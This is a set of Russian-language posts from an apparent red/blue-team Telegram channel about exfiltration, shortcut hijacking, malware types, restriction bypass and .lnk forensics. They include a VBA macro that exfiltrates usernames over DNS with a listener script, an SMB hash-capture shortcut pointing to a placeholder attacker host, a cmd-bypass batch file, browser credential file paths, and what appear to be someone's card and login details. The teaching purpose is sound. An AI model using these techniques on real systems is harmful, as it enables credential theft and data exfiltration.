Я долго думала с какого поста стоит начать и после долгих раздумий решила чуть-чуть поделиться теорией и рассказать историю из своей практики😳 . Приятного чтения)
Итак, сегодняшней темой поста станет эксфильтрация, один из этапов постэксплуатации.
😦 Что такое❓
Все просто: это передача файлов, а, если быть точной, то со скомпроментированного хоста на машину атакующего (victim -> attacker).
😦 Какая бывает❓
В зависимости от инфраструктуры и обстоятельств можно выделить, так сказать, базу:
• через TCP
• через SMB
• через HTTP
• с использованием FTP
• с помощью TFTP
• через ICMP
• через DNS
😦 Для чего вам эта инфа❓
Для красненьких полезно уметь тащить файлики к себе на хост, а синеньким стоит внимательнее смотреть трафик, как бы там не полетела чья-нибудь sensitive data в DNS-трафике.
😋 Тру стори
Итак, приходит условный Заказчик и говорит:
😐 .
Однако действительно ли все фильтруется❓ 😎
Как известно, любая изолированная внутренняя сеть как-то взаимодействует с внешним миром, например, для отправки электронной почты или загрузки обновлений. Поэтому DNS почти всегда будет ходить во вне и резолвить внешние адреса.
Соответственно для проведения социотехнического тестирования было принято использовать Exel-файл с VBA скриптом, который представлял из себя что-то вроде:
Он резолвил поддомен третьего уровня нашей DNS-зоны, передавая в узле имя пользователя, который запустил макрос.
В качестве DNS-сервера выступал простой питоновский скрипт на сокетах:
Как-то так DNS-экфильтрация стала реальным живым кейсом и вектором утечки данных в отчете Заказчика)
😦 Ну вроде все просто, а что по детектам❓
Детектят эксфильтрацию в основном по подозрительному трафику и сигнатурам используемых инструментов.
На этом для первого раза, пожалуй, все :)
P.S.
Если есть какие-то темы/вектора, которые хотелось бы обозреть по-подробнее, напишите в комментарии🤗 ⬇️
#REDTalk #redteam
Итак, сегодняшней темой поста станет эксфильтрация, один из этапов постэксплуатации.
Все просто: это передача файлов, а, если быть точной, то со скомпроментированного хоста на машину атакующего (victim -> attacker).
‼️ Отличаем от инфильтрации (передача по цепочке attacker -> victim)
В зависимости от инфраструктуры и обстоятельств можно выделить, так сказать, базу:
• через TCP
• через SMB
• через HTTP
• с использованием FTP
• с помощью TFTP
• через ICMP
• через DNS
Для красненьких полезно уметь тащить файлики к себе на хост, а синеньким стоит внимательнее смотреть трафик, как бы там не полетела чья-нибудь sensitive data в DNS-трафике.
Итак, приходит условный Заказчик и говорит:
- Потратил много денях на обучение сотрудников, хочу проверить сколько из них с радостью откроют фишинговое письмо да еще и с другом поделятся.Вроде тривиальная на первый взгляд задача, не требуется компрометация хоста, просто пересчитать по головам. Однако во внутренней сети проксируется http, фильтруются любые запросы во вне
Однако действительно ли все фильтруется
Как известно, любая изолированная внутренняя сеть как-то взаимодействует с внешним миром, например, для отправки электронной почты или загрузки обновлений. Поэтому DNS почти всегда будет ходить во вне и резолвить внешние адреса.
Соответственно для проведения социотехнического тестирования было принято использовать Exel-файл с VBA скриптом, который представлял из себя что-то вроде:
Sub PerformNslookup()
Dim username As String
Dim domain As String
Dim command As String
WhoIsUser = Environ("UserName")
domain = "sub.domain.ru"
command = "nslookup " & WhoIsUser & "." & domain
Shell "cmd /c " & command, vbNormalFocus
End Sub
Он резолвил поддомен третьего уровня нашей DNS-зоны, передавая в узле имя пользователя, который запустил макрос.
В качестве DNS-сервера выступал простой питоновский скрипт на сокетах:
import socket
import re
import binascii
from dnslib import DNSRecord
UDP_IP = "0.0.0.0"
UDP_PORT = 53
sock = socket.socket(socket.AF_INET,
socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))
while True:
byteData, addr = sock.recvfrom(2048)
try:
message = binascii.unhexlify(binascii.b2a_hex(byteData))
message = DNSRecord.parse(message)
except Exception as e:
print(e)
continue
result = re.search(r'\;(\S+)\.sub\.domain\.ru', str(message), re.MULTILINE)
if result:
print('detected:', result.group(1))
Как-то так DNS-экфильтрация стала реальным живым кейсом и вектором утечки данных в отчете Заказчика)
Детектят эксфильтрацию в основном по подозрительному трафику и сигнатурам используемых инструментов.
На этом для первого раза, пожалуй, все :)
P.S.
Если есть какие-то темы/вектора, которые хотелось бы обозреть по-подробнее, напишите в комментарии
#REDTalk #redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
❤16🔥12⚡3👾1
Доброго всем денечка🐾
На связи @deadunii, mi amo Кристина Ситникова, мой любимый цвет красный, с моими уважаемыми коллегами по цеху вы уже знакомы по постам выше :)
Большая часть моего опыта это ломание ADшек финтеха, для меня WannaCry не страшный заголовок из прошлого, а удачная находка в сети Заказчика под названием EternalBlue
Постараюсь делиться самым интересным из мира пентеста просто и с кайфом, служу редтиму🫡
На страже ваших паролей Qwerty12345678, до встречи в новых постах🤗
#REDtalk #redteam
На связи @deadunii, mi amo Кристина Ситникова, мой любимый цвет красный, с моими уважаемыми коллегами по цеху вы уже знакомы по постам выше :)
-Скажи мне три слова, которые хочет услышать любая девушка
- whoami
NT AUTHORITY\SYSTEM
Большая часть моего опыта это ломание ADшек финтеха, для меня WannaCry не страшный заголовок из прошлого, а удачная находка в сети Заказчика под названием EternalBlue
Постараюсь делиться самым интересным из мира пентеста просто и с кайфом, служу редтиму
На страже ваших паролей Qwerty12345678, до встречи в новых постах
#REDtalk #redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
❤16👏3🎉3🔥2👨💻2
💥 Привет, недавно мне попалась HTB коробка, в которой вектором атаки для бокового перемещения была подделка ярлыка.
Провел небольшой ресерч и делюсь результатами
❓ Является ли ярлык файлом?
Да. Это файл с расширением .lnk, но explorer не будет его показывать, даже если поставить все галочки на отображение расширений.
❓ Как посмотреть .lnk файл.
Explorer будет думать, что это ссылка, даже если изменить расширение. Самый простой способ посмотреть атрибуты ярлыка - через WScript
Но если хочется посмотреть конкретно файл, то его можно открыть в линуксе. Смотрим содержимое и видим тоже самое, что было показано выше
Провел небольшой ресерч и делюсь результатами
Да. Это файл с расширением .lnk, но explorer не будет его показывать, даже если поставить все галочки на отображение расширений.
Explorer будет думать, что это ссылка, даже если изменить расширение. Самый простой способ посмотреть атрибуты ярлыка - через WScript
PS C:\share> $shell = New-Object -ComObject WScript.Shell
PS C:\share> $shortcut = $shell.CreateShortcut(".\Microsoft Edge.lnk")
PS C:\share> $shortcut | Select-Object *
FullName : c:\share\Microsoft Edge.lnk
Arguments :
Description : Просмотр веб-страниц
Hotkey :
IconLocation : C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,0
RelativePath :
TargetPath : C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
WindowStyle : 1
WorkingDirectory : C:\Program Files (x86)\Microsoft\Edge\Application
Но если хочется посмотреть конкретно файл, то его можно открыть в линуксе. Смотрим содержимое и видим тоже самое, что было показано выше
┌──(kali㉿kali)-[~]
└─$ file Microsoft\ Edge.lnk
Microsoft Edge.lnk: MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Icon number=0, Unicoded, HasExpIcon "%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe", MachineID desktop-ubegqsr KnownFolderID 7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E, Archive, ctime=Thu Aug 5 19:41:46 2021, atime=Sat Jun 22 21:48:12 2024, mtime=Thu Jun 13 04:14:38 2024, length=3883560, window=normal, IDListSize 0x0231, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
┌──(kali㉿kali)-[~]
└─$ hexdump -C Microsoft\ Edge.lnk
00000000 4c 00 00 00 01 14 02 00 00 00 00 00 c0 00 00 00 |L...............|
00000010 00 00 00 46 df 40 00 00 20 00 00 00 ac bc 7c 12 |...F.@.. .....|.|
...
000002a0 00 00 00 26 1d 18 fa 10 00 00 00 00 43 3a 5c 50 |...&........C:\P|
000002b0 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 |rogram Files (x8|
000002c0 36 29 5c 4d 69 63 72 6f 73 6f 66 74 5c 45 64 67 |6)\Microsoft\Edg|
000002d0 65 5c 41 70 70 6c 69 63 61 74 69 6f 6e 5c 6d 73 |e\Application\ms|
000002e0 65 64 67 65 2e 65 78 65 00 00 14 00 1f 04 40 04 |edge.exe......@.|
...
00000980 d5 91 69 6c a4 6c 00 00 00 00 00 00 00 00 00 00 |..il.l..........|
00000990 00 00 |..|
00000992
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6❤2
Собственно, выполнение кода от другого пользователя. Конечно, большинство ярлыков валяются на рабочем столе или в
C:\ProgramData\Microsoft\Windows\Start Menu\Programs (то, что содержится в меню Пуск), но бывают ситуации, когда ими пользуются, к примеру, из общих сетевых папок, и если у нас есть права на запись в директорию, то можно изменить файл
PS C:\share> $objShell = New-Object -ComObject WScript.Shell
PS C:\share> $lnk = $objShell.CreateShortcut("c:\share\Microsoft Edge.lnk")
PS C:\share> $lnk.TargetPath = "C:\windows\system32\calc.exe"
PS C:\share> $lnk.Save()
PS C:\share> $shell = New-Object -ComObject WScript.Shell
PS C:\share> $shortcut = $shell.CreateShortcut(".\Microsoft Edge.lnk")
PS C:\share> $shortcut | Select-Object *
FullName : c:\share\Microsoft Edge.lnk
Arguments :
Description : Просмотр веб-страниц
Hotkey :
IconLocation : C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,0
RelativePath :
TargetPath : C:\Windows\System32\calc.exe
WindowStyle : 1
WorkingDirectory : C:\Windows\System32
Теперь вместо браузера будет запускаться указанный бинарь (в данном случае калькулятор).
Стоит также отметить, что файл будет не заменен, а изменен, то-есть дата созданий осталась прежней. Также не изменились и иконка ярлыка (логотип браузера Edge).
Еще в далеком 2017 году 🔗показали малварь, который через ярлык запускал cmd с параметром /c и полезной нагрузкой. То-есть вирусом являлся сам ярлык, а не cmd.exe.
Еще есть древняя, но рабочая техника перехвата NetNTLMv2 хеша. Для этого в ссылке ярлыка указываем
\\<hacker_ip>\share\, запускаем на нашем <hacker_ip> smb сервер (Например, impacket-smbserver share . -smb2support ) и ждем аутентификацию.Ну и, конечно, куда без официально документации. Вот она — 🔗Тык
#redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍2
Привет, друзья! 😻
Сегодня я подготовил для вас интересную статью, посвященную анализу защищенности GraphQL. Мы рассмотрим, с чего вообще начинать анализ защищенности приложений на базе GraphQL и как встроенный функционал GraphQL может помочь обойти ограничения при brute force атаках💥
Всем приятного чтения, прекрасного вечера пятницы и продуктивных выходных!🤗
Ссылка на статью: https://shankdy.notion.site/GraphQL-bf1e8b80222f42b8986a50d65fd49524
#redteam
Сегодня я подготовил для вас интересную статью, посвященную анализу защищенности GraphQL. Мы рассмотрим, с чего вообще начинать анализ защищенности приложений на базе GraphQL и как встроенный функционал GraphQL может помочь обойти ограничения при brute force атаках
Всем приятного чтения, прекрасного вечера пятницы и продуктивных выходных!
Ссылка на статью: https://shankdy.notion.site/GraphQL-bf1e8b80222f42b8986a50d65fd49524
#redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
shankdy on Notion
Под капотом GraphQL: В поисках слабых мест | Notion
Автор: @closed_character
🔥8👍2❤1
Какие цели преследуют киберпреступники🧑💻?
Конечная цель, как правило, это 💰, и в зависимости от того сколько у злоумышленника времени и навыков будет зависеть на сколько большой куш он может сорвать.
Одним из первых шагов к достижению своей заветной цели является получение первоначального доступа. Он достигается путем использования таких методов как загрузка вредоносного программного обеспечения (ВПО) и фишинг.
И сегодня я хочу затронуть тему ВПО, какие они бывают, а так же по каким признакам можно быстро понять, что вы не просто рядовой пользователь, а еще и сотрудник организации.
Троян🐎
Основная специфика трояна - это обманывать жертв, за счёт применения оболочки легитимного ПО, и при запуске, он выполняет то, что нужно злоумышленникам.
Червь 🪱
Основная специфика червя - это его саморепликация, за счёт которой он становится способным дублировать себя как в пределах одной системы, создавая многочисленные копии в каталогах, так и перемещаясь по системам, создавая в каждой отдельной свою копию.
Шифровальщик 🔐
Основная специфика шифровальщика - это шифрование файлов на системе жертвы, таким образом, чтобы жертва не могла восстановить всё ранее зашифрованное. Как правило шифровальщики выгружают файлы с вашего устройства, чтобы использовать их в качестве шантажа.
Бэкдор (средство удаленного администрирования). 🚪
Бэкдор, или RAT (remote administration tool), — это приложение, которое позволяет честному системному администратору или злобному злоумышленнику управлять вашим компьютером на расстоянии.
Стиллер 🥷
Основная специфика стиллера - это автоматическая кража информации с системы жертвы.
Установщик📥
Основная специфика установщика - это автоматическое скачивание и запуск программ.
А одним из самых простых способов, понять, что перед атакующими сотрудник – это просмотр учетных данных браузера.
Вот список наиболее «просматриваемых» атакующими файлов:
• C:\Users\$user\AppData\Local\Google\Chrome\UserData\Default\LoginData
• C:\Users\$user\AppData\Local\Mozilla\Firefox\Profiles\*.default\key4.db
• C:\Users\$user\AppData\Local\Google\Chrome\UserData\LocalState
• C:\Users\$user\AppData\Local\Mozilla\Firefox\Profiles\*.default\key3.db
• C:\Users\$user\AppData\Local\Google\Chrome\UserData\Default\WebData
• C:\Users\$user\AppData\Local\Mozilla\Firefox\Profiles\*.default\logins.json
Ниже привел данные которые я нашел у себя:
Учетные данные, хранящиеся в браузерах, могут быть интересны как сами по себе, так и в связи с дальнейшим развитием атаки. Сами по себе данные обычно собираются стиллерами и затем продаются или выкладываются в открытый доступ. Также секреты пользователей могут содержать данные для аутентификации на внутренних ресурсах организации или раскрывать информацию о их местонахождении. Так же можно поискать пароли, которые были слиты, история браузера, логины у нас есть.
Ради интереса, посмотрите, какие данные получится достать у вас)
P.S. папка AppData скрыта, как просматривать скрытые файлы, можно узнать тут, а данные можно посмотреть, открыв их в текстовом редакторе
Ну а в следующем посте подготовлю подробную инструкцию по созданию лаборатории для анализа файлов и проанализируем с вами какой-нибудь интересный файлик🦠.
#blueteam
Конечная цель, как правило, это 💰, и в зависимости от того сколько у злоумышленника времени и навыков будет зависеть на сколько большой куш он может сорвать.
Одним из первых шагов к достижению своей заветной цели является получение первоначального доступа. Он достигается путем использования таких методов как загрузка вредоносного программного обеспечения (ВПО) и фишинг.
И сегодня я хочу затронуть тему ВПО, какие они бывают, а так же по каким признакам можно быстро понять, что вы не просто рядовой пользователь, а еще и сотрудник организации.
Троян🐎
Основная специфика трояна - это обманывать жертв, за счёт применения оболочки легитимного ПО, и при запуске, он выполняет то, что нужно злоумышленникам.
Червь 🪱
Основная специфика червя - это его саморепликация, за счёт которой он становится способным дублировать себя как в пределах одной системы, создавая многочисленные копии в каталогах, так и перемещаясь по системам, создавая в каждой отдельной свою копию.
Шифровальщик 🔐
Основная специфика шифровальщика - это шифрование файлов на системе жертвы, таким образом, чтобы жертва не могла восстановить всё ранее зашифрованное. Как правило шифровальщики выгружают файлы с вашего устройства, чтобы использовать их в качестве шантажа.
Бэкдор (средство удаленного администрирования). 🚪
Бэкдор, или RAT (remote administration tool), — это приложение, которое позволяет честному системному администратору или злобному злоумышленнику управлять вашим компьютером на расстоянии.
Стиллер 🥷
Основная специфика стиллера - это автоматическая кража информации с системы жертвы.
Установщик📥
Основная специфика установщика - это автоматическое скачивание и запуск программ.
А одним из самых простых способов, понять, что перед атакующими сотрудник – это просмотр учетных данных браузера.
Вот список наиболее «просматриваемых» атакующими файлов:
• C:\Users\$user\AppData\Local\Google\Chrome\UserData\Default\LoginData
• C:\Users\$user\AppData\Local\Mozilla\Firefox\Profiles\*.default\key4.db
• C:\Users\$user\AppData\Local\Google\Chrome\UserData\LocalState
• C:\Users\$user\AppData\Local\Mozilla\Firefox\Profiles\*.default\key3.db
• C:\Users\$user\AppData\Local\Google\Chrome\UserData\Default\WebData
• C:\Users\$user\AppData\Local\Mozilla\Firefox\Profiles\*.default\logins.json
Ниже привел данные которые я нашел у себя:
6f6fef3b-6c10-4605-8e91-2be26833ef61{"billing_address_id":"","card_holder":"GERMAN KOMAROV","card_title":"","expire_date_month":"12","expire_date_year":"2023","masked_card_number":"480023******0001","origin":"","use_count":18,"use_date":1715928491.637655,"yandex_card_type":0}OnLoginSuccessful@password_manager.cc:1285Detected successful login.{"context_data":null,"data":{"action":"https://jira.organization.ru/login.jsp","all_alternative_usernames":"komarov_g+5+os_username","last_url":"https://jira.organization.ru/login.jsp","password_element":"os_password","signon_realm":"https://jira.organization.ru/","submission_event":1,"url":"https://jira. organization.ru/login.jsp","username_element":"os_username","username_value":"komarov_g"}}"url":"https://skyarc.ru/signup","username_element":"email","username_value":komarov_g@mail.ru'
Учетные данные, хранящиеся в браузерах, могут быть интересны как сами по себе, так и в связи с дальнейшим развитием атаки. Сами по себе данные обычно собираются стиллерами и затем продаются или выкладываются в открытый доступ. Также секреты пользователей могут содержать данные для аутентификации на внутренних ресурсах организации или раскрывать информацию о их местонахождении. Так же можно поискать пароли, которые были слиты, история браузера, логины у нас есть.
Ради интереса, посмотрите, какие данные получится достать у вас)
P.S. папка AppData скрыта, как просматривать скрытые файлы, можно узнать тут, а данные можно посмотреть, открыв их в текстовом редакторе
Ну а в следующем посте подготовлю подробную инструкцию по созданию лаборатории для анализа файлов и проанализируем с вами какой-нибудь интересный файлик🦠.
#blueteam
Hi-Tech Mail
Как показать скрытые папки: подробный гайд для Windows и macOS
Возможность скрывать и снова отображать определенные папки позволяет сберечь какую-либо личную информацию от посторонних и просто убрать с глаз файлы, которые вам мешают.
🔥9👍7❤2
Доброго вечерочка 🥰
Помню как в старой голосовалке о контенте побеждал вариант: "Истории из реальной практики", поэтому немного поностальгирую с вашего позволения :)
Сегодня опять вспомним относительно специфический тру кейс из жизни, с которым кто-то может столкнуться в своей красной карьере, ну и синеньким на заметку конечно)
😋 Тру стори
Итак, стандартная ситуация у красненьких, получаем RDP-доступ к Windows-машинке (типовой АРМ пользователя), хотим пустить какой-нить PowerSploit из PS, жмаем на cmd/PS и видим:
Ну контактить администратору мы точно не будем, поэтому покажу простой способ открыть cmd :)
Для этого нам нужно создать текстовый файлик с расширением .bat и вписать туда:
Да, обычный батник в 5 строк помог решить проблему, но давайте разберемся подробнее, что там происходит (мы ж не просто так тут собрались, рандомные сплоиты просто так не жмаем и надеемся, что сработает, честно честно)
😋 Принцип работы
➡️ При запуске батника появляется окно с выводом текущего пути (переменная %cd%) вместе с символом ">", чтобы имитировать стандартную командную строку Windows.
➡️ Затем скрипт ждет, пока пользователь введет текст, и после нажатия Enter сохраняет его в переменную x.
➡️ Далее введенный пользователем текст исполняется как команда внутри скрипта (строка %х%).
➡️ Метка А используется для перезапуска процесса в цикле, чтобы пользователь мог выполнить несколько команд в одной открытой сессии батника.
😳 Итого
Данный батник будет лишь имитировать командную строку в цикле выполняя команды, которые вы ему дадите, но из него можно исполнить любую команду, вызывать оболочку PowerShell и пенетрировать дальше :)
А что еще нужно?😎
#redteam #REDtalk
Помню как в старой голосовалке о контенте побеждал вариант: "Истории из реальной практики", поэтому немного поностальгирую с вашего позволения :)
Сегодня опять вспомним относительно специфический тру кейс из жизни, с которым кто-то может столкнуться в своей красной карьере, ну и синеньким на заметку конечно)
Итак, стандартная ситуация у красненьких, получаем RDP-доступ к Windows-машинке (типовой АРМ пользователя), хотим пустить какой-нить PowerSploit из PS, жмаем на cmd/PS и видим:
This operation has been cancelled due to restrictions in effect on this computer. Please contact your system
administrator.
Ну контактить администратору мы точно не будем, поэтому покажу простой способ открыть cmd :)
Для этого нам нужно создать текстовый файлик с расширением .bat и вписать туда:
@echo off
:A
set /P x="%cd%>"
%x%
goto A
Да, обычный батник в 5 строк помог решить проблему, но давайте разберемся подробнее, что там происходит (мы ж не просто так тут собрались, рандомные сплоиты просто так не жмаем и надеемся, что сработает, честно честно)
Данный батник будет лишь имитировать командную строку в цикле выполняя команды, которые вы ему дадите, но из него можно исполнить любую команду, вызывать оболочку PowerShell и пенетрировать дальше :)
А что еще нужно?
#redteam #REDtalk
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19✍2❤🔥2👾2👍1
💥 Привет! Хотел поговорить про разнообразие полигонов для красных команд, а получилось затронуть один, самый популярный, но зато развёрнуто — это платформа HackTheBox.
Про него знают все. Многие указывают в резюме свои HTB профили или просто упоминают, что да, знаем, играли в коробки . Что же там такого интересного? Для начала то, что сами коробки разрабатываются не администрацией проекта, а игроками. Точнее, заинтересованными лицами. Более того, за их создание платят вознаграждение, размер которых зависит от конечного рейтинга и сложности, то есть за сложность Insane и отзывами 4.9/5 дадут больше 💰, чем за легкую.
Главным минусом такого принципа является невысокий общий скилл разработчиков тачек, если сложить всех вместе. Но, с другой стороны, каждая коробка показывает разные взгляды на решение встроенных в неё уязвимостей, даже если они будут повторятся из раза в раз 👾. А последнее время раз в несколько месяцев организаторы анонсируют “HTB Seasons”, где на протяжении ивента раз в неделю выходят тачки, которые нужно успевать решать до выхода следующей, а следовательно, такая нереальная скорость выхода даёт больше по-настоящему интересных и сложных коробок.
Помимо коробок на платформе есть не менее распиаренный сервис под названием “Pro Labs”. Как написано в их лозунгах, это "Elite Red Team Lab" и "REAL Enterprise Infrastructure” 🤯. Мы, которые одно время решали целый сезон без пропуска, и уставшие от нестабильной работы полигона Standoff, решили поиграть в Про Лабу Dante. По началу всё было прекрасно, 14 машин в одной лабе, с виндовсами и линуксами, запивотились, закрепились, поставили маячки и готовы действовать как настоящие редтимеры, НО, на следующее утро всё сбросилось. Сначала я подумал, что кто-то сильно попросил админов ребутнуть лабу из-за какой-нибудь неработающей критической уязвимости, которая влияет на всю лабу. Но нет, на деле оказалось, что вся инфраструктура лабы каждые 24 часа просто берет и уходит в ребут. Полностью. И поддержка это аргументировала “проверкой на работу уязвимостей”. А закрепляйтесь при помощи найденных паролей через SSH. Ну это ни в какие ворота. Вся концепция просто порублена на корню и непонятно, для кого это сделано. Мы даже специально дорешили её, чтобы оставить гневный отзыв (скриншот из превью поста)
Вот такой у меня опыт с HTB, последним я сильно огорчён 😢. У них есть еще несколько интересных сервисов, но они уже сильно идут в CTF-Like. Для синих, кстати, тоже относительно недавно добавили таски.
#redteam
Про него знают все. Многие указывают в резюме свои HTB профили или просто упоминают, что да, знаем, играли в коробки . Что же там такого интересного? Для начала то, что сами коробки разрабатываются не администрацией проекта, а игроками. Точнее, заинтересованными лицами. Более того, за их создание платят вознаграждение, размер которых зависит от конечного рейтинга и сложности, то есть за сложность Insane и отзывами 4.9/5 дадут больше 💰, чем за легкую.
Главным минусом такого принципа является невысокий общий скилл разработчиков тачек, если сложить всех вместе. Но, с другой стороны, каждая коробка показывает разные взгляды на решение встроенных в неё уязвимостей, даже если они будут повторятся из раза в раз 👾. А последнее время раз в несколько месяцев организаторы анонсируют “HTB Seasons”, где на протяжении ивента раз в неделю выходят тачки, которые нужно успевать решать до выхода следующей, а следовательно, такая нереальная скорость выхода даёт больше по-настоящему интересных и сложных коробок.
Помимо коробок на платформе есть не менее распиаренный сервис под названием “Pro Labs”. Как написано в их лозунгах, это "Elite Red Team Lab" и "REAL Enterprise Infrastructure” 🤯. Мы, которые одно время решали целый сезон без пропуска, и уставшие от нестабильной работы полигона Standoff, решили поиграть в Про Лабу Dante. По началу всё было прекрасно, 14 машин в одной лабе, с виндовсами и линуксами, запивотились, закрепились, поставили маячки и готовы действовать как настоящие редтимеры, НО, на следующее утро всё сбросилось. Сначала я подумал, что кто-то сильно попросил админов ребутнуть лабу из-за какой-нибудь неработающей критической уязвимости, которая влияет на всю лабу. Но нет, на деле оказалось, что вся инфраструктура лабы каждые 24 часа просто берет и уходит в ребут. Полностью. И поддержка это аргументировала “проверкой на работу уязвимостей”. А закрепляйтесь при помощи найденных паролей через SSH. Ну это ни в какие ворота. Вся концепция просто порублена на корню и непонятно, для кого это сделано. Мы даже специально дорешили её, чтобы оставить гневный отзыв (скриншот из превью поста)
Вот такой у меня опыт с HTB, последним я сильно огорчён 😢. У них есть еще несколько интересных сервисов, но они уже сильно идут в CTF-Like. Для синих, кстати, тоже относительно недавно добавили таски.
#redteam
👍10✍3👎1😢1🤝1
Привет, друзья! 👋
А вы знали, что любой может получить доступ к удаленным или приватным репозиториям на GitHub?😲 Правда в случае с приватными репозиториями, должен быть публичный форк проекта. И что самое интересное - это не баг, а вполне себе легитимный и даже задокументированный функционал 😻 . Ссылочка на документацию Git
Чтобы убедиться, что после удаления проекта коммиты все еще существуют, можете выполнить следующее:
1️⃣ Создаете форк любого публичного проекта.
2️⃣ Вносите изменения в новый форк, запоминаете хеш коммита и удаляете проект.
3️⃣ Вставляете хеш коммита с изменениями вашего удаленного форка в основной проект и радуетесь, что коммит никуда не исчез.
Если всё сделали верно, то при переходе по ссылке увидите надпись:
🔍 И если у проекта есть приватный форк, который используется для хранения каких-то фич, которые не должны быть в паблике, то это тоже можно прочитать.
Однако, как вы могли заметить, для обоих случаев нам необходимо знать хеш коммита. А где его взять? Например, перебрать. Серьезно!? 40 символов!? Спросите вы. И да, скажу я вам, можно попробовать перебрать. И не 40 символов, а 4. В GitHub есть система коротких ссылок. Таким образом, хеш вида:
превращается в
Что значительно упрощает задачу.
А пока мы пошли проверять подобный функционал на других площадках. 🚀 Можете ознакомиться со статьей команды TruffleSecurity. Ребята разобрали различные векторы использования данного функционала и рассказали, чем это может быть черевато.
🔗 Ссылочка на статью: https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github
#redteam
А вы знали, что любой может получить доступ к удаленным или приватным репозиториям на GitHub?
Чтобы убедиться, что после удаления проекта коммиты все еще существуют, можете выполнить следующее:
1️⃣ Создаете форк любого публичного проекта.
2️⃣ Вносите изменения в новый форк, запоминаете хеш коммита и удаляете проект.
3️⃣ Вставляете хеш коммита с изменениями вашего удаленного форка в основной проект и радуетесь, что коммит никуда не исчез.
Если всё сделали верно, то при переходе по ссылке увидите надпись:
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Однако, как вы могли заметить, для обоих случаев нам необходимо знать хеш коммита. А где его взять? Например, перебрать. Серьезно!? 40 символов!? Спросите вы. И да, скажу я вам, можно попробовать перебрать. И не 40 символов, а 4. В GitHub есть система коротких ссылок. Таким образом, хеш вида:
a7630fd249a81add7f252cb53173be04f61ce634
превращается в
a763
Что значительно упрощает задачу.
А пока мы пошли проверять подобный функционал на других площадках. 🚀 Можете ознакомиться со статьей команды TruffleSecurity. Ребята разобрали различные векторы использования данного функционала и рассказали, чем это может быть черевато.
#redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub Docs
What happens to forks when a repository is deleted or changes visibility? - GitHub Docs
Deleting your repository or changing its visibility affects that repository's forks.
🔥10✍1🎃1
Не так давно был пост про подделку ярлыка для бокового перемещения. Теперь предлагаю рассмотреть, как это выглядит со стороны синей команды🛡.
Мы обнаружили подозрительные события перехода по SMB на неизвестный никому адрес. Определив источник событий находим неприметный .lnk файл. По событиям 4663 или 5145 журнала Security можем определить, когда именно и кем данный файл был помещен в систему.
Анализировать ВПО на рабочем\личном устройстве очень плохая идея, так что нам нужна своя лаборатория для анализа. Существует отличный проект с открытым исходным кодом - Flare VM, инструкция по установке есть в файле README и неплохая пошаговая инструкция на youtube
Анализ файлов состоит из двух частей: статический и динамический
1. Статический анализ🔬.
Подразумевает сбор информации о файле без его запуска:
- Метаданные (имя, размер, дата создания, дата изменения, дата доступа, информация о создателе)
- Хэш-суммы
- Структура файла (например, PE для исполняемых файлов Windows, ELF для Linux, PDF, DOCX и др.)
- Содержимое и код (дисассемблированный код для анализа логики работы приложения)
Для начала этого достаточно.
Для некоторых типов файлов есть уже готовые утилиты для анализа.
Вот какую информацию позволяет получить LECmd:
В поле Icon Location располагается ссылка на потенциально вредоносный ресурс, к которому идут обращения всех пользователей, которые переходят в папку с файлом используя проводник.
Сам ярлык ведет к браузеру Microsoft Edge🌍.
Так же получаем информацию об имени устройства и MAC Address, на котором данный файл был создан (полезно, если устройство в домене):
Все необходимые данные мы получили, приступаем к следующему этапу анализа
2. Динамический анализ🧑💻.
В рамках динамического анализа производится запуск файла для выявления следующих ключевых аспектов:
- Поведение программы
- Сетевое поведение
- Изменения в файловой системе
- Изменения в реестре
- Используемые системные ресурсы
- Процессное дерево
- Статистика и логирование
- Взаимодействие с другими программами и системами
Учитывая специфику нашего файла интереснее всего взглянуть на сетевой трафик при помощи Wireshark
Находим пакет Session Setup Request, NTLMSSP_AUTH, User: .\tim и видим в нем следующую информацию:
В запросах видим событие передачи данных об имени хоста, с которого было осуществлено подключение, имя пользователя и NTLM хэш.
На этом можно было бы и закончить, но важно понимать, что злоумышленники могут предпринять, имея на руках NetNTLM хэш и принять соответствующие меры, а именно:
- Сбросить пароли для учетных записей пользователей, хэши чьих паролей были переданы
- Заблокировать УЗ пользователя создавшего .lnk файл
- Изолировать от сети хост (если это возможно), на котором .lnk файл был модифицирован
#blueteam
Мы обнаружили подозрительные события перехода по SMB на неизвестный никому адрес. Определив источник событий находим неприметный .lnk файл. По событиям 4663 или 5145 журнала Security можем определить, когда именно и кем данный файл был помещен в систему.
Анализировать ВПО на рабочем\личном устройстве очень плохая идея, так что нам нужна своя лаборатория для анализа. Существует отличный проект с открытым исходным кодом - Flare VM, инструкция по установке есть в файле README и неплохая пошаговая инструкция на youtube
Анализ файлов состоит из двух частей: статический и динамический
1. Статический анализ🔬.
Подразумевает сбор информации о файле без его запуска:
- Метаданные (имя, размер, дата создания, дата изменения, дата доступа, информация о создателе)
- Хэш-суммы
- Структура файла (например, PE для исполняемых файлов Windows, ELF для Linux, PDF, DOCX и др.)
- Содержимое и код (дисассемблированный код для анализа логики работы приложения)
Для начала этого достаточно.
Для некоторых типов файлов есть уже готовые утилиты для анализа.
Вот какую информацию позволяет получить LECmd:
Name: Просмотр веб-страниц
Relative Path: ..\..\..\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Working Directory: C:\Program Files (x86)\Microsoft\Edge\Application
Icon Location: \\1.45.136[.]217\share
В поле Icon Location располагается ссылка на потенциально вредоносный ресурс, к которому идут обращения всех пользователей, которые переходят в папку с файлом используя проводник.
